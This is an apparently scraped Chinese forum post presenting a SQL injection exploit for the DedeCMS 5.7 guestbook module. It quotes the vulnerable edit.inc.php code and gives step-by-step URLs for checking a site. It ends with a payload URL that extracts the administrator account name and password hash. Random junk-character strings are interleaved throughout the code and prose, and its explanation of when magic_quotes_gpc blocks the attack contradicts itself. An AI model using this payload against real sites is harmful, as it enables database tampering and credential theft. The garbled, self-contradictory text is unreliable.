dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

9 R( R" C$ ]3 P& m漏洞文件edit.inc.php具体代码：
8 ~4 X' \& f1 C) Y- i
< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
7 u  ?7 {( L: D7 ?# S; W( T
   
$ a+ s% ?, G, y1 I; ~) @8 s
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
2 ?; I' H/ D* o3 F0 ]1 g, k
. e, b& g1 W* j) b7 V" q) o) relse $GUEST_BOOK_POS = "guestbook.php";  

& _1 r& `1 V5 G* w% y  ^9 j( `   

8 X! E5 T% m! u, j* P$ U4 t( n$id = intval($id);  

if(empty($job)) $job='view';  
+ R; _# |" [/ K9 r
% h2 r: i( P9 T   

( S& m* C; S  s4 M! Iif($job=='del' && $g_isadmin)  
2 l5 ~4 ~, T1 t4 [% x" |4 f* ?/ J
1 L3 d7 L6 h/ e3 s. B: b( m{  
( ?8 k: ]$ O6 x9 H* r
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
( V# t2 w2 f0 Z& y; [
- C, c  u$ A; E! |0 ^ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
: |6 S* v. u# Q: j& D
6 C  T. f. t" c$ @exit();  

}  

else if($job=='check' && $g_isadmin)  

5 I9 _& _, b6 u{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

& @9 B8 X& I# ^  \ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

% v' s3 F7 a) w5 rexit();  
) Q- D$ r4 L6 H2 c# D
}  

( J5 T" F/ o$ H) velse if($job=='editok')  
% y% o  D  F, }/ [: J, p. ~
+ P; I4 d2 U9 g9 w, {) w{  

$remsg = trim($remsg);  

if($remsg!='')  
- {0 l9 P6 q$ d( p1 n
{  
* F2 e1 K4 e% ?! V& p" {9 Q
1 u/ C* d+ S! A0 g' l7 t, C//管理员回复不过滤HTML By:Errorera blog:errs.cc  
% s5 O+ ^5 }  m7 T, e; b2 E4 t, c
6 Q! D6 K4 `2 p7 u$ F% vif($g_isadmin)  

& U) N  J% E$ h4 ?" S* K{  
" U  g7 A% Z) x$ ?% k' O: W
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

, [/ D( e3 `# o* _, D% t; G//$remsg <br /><font color=red>管理员回复：</font> }  

else

/ Q$ t$ V( I: {{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
2 Y( ^; L; d+ m5 ~5 r
! P0 k& p1 ?5 B$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
, o1 x+ b% C7 e2 B% Y4 d/ `$ F
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

* T) h) w! E% X, ^- U! ^  B! i$msg = $oldmsg.$remsg;  
) p0 U3 n( g, t( u" s" F
}  

; `. Q% M  b6 J6 [# {' \}  

' t" G' _: G# s' _$ p0 s3 y//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

' ]! \/ g- A( }8 g4 m1 ~0 k$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

7 C  o. I2 z/ L2 E4 qShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
6 m) H4 P, O8 R- `
! z  J( Q/ u* `2 sexit();  

}  

//home:www.errs.cc  

; x3 S; x. |2 X" v7 J" O0 B- fif($g_isadmin)  

5 k" R* E2 R8 o' ]" V{  
1 O- p0 i: b  X2 k2 y  S
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
5 y/ N6 B0 J! c1 c& C
- ~2 z" `* E) p/ drequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
9 c: p7 x, ]+ k+ g9 p& |
3 J" A( B  P2 G/ m% n& i6 o}  

" s( u! Y1 L" c* welse
, A5 Y# }$ w( g# c- F
/ F& P( c' f% k2 F{  
8 K0 [( b( b! P6 H' r
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
0 V' p0 l+ a( ]& Y" W! E
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

0 b7 z3 u4 Y7 g2 Y8 K3 Y} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

# C% X9 p  v& Q, }0 }* u% |怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
) F! E! i1 W# ~1 E访问：

www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
- W; n! Q7 V4 g/ ~6 ?

& b9 \) n' L: m/ a8 B$ D* p* I, @) N明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
( e  s$ a4 J# t; ?9 f那么再次访问

4 Y% ^& G6 c/ D7 M  B/ g) lwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
# g+ G- ^$ P1 r
7 [: F/ `+ u4 s3 W- w  z  t大概利用就是这样，大家有兴趣的多研究下！！
- Z# W0 w* z1 I0 w0 i! b
. ~6 ^6 q, z/ h2 r6 G9 c4 U" F最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

' T0 j" |0 n3 r( Vview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='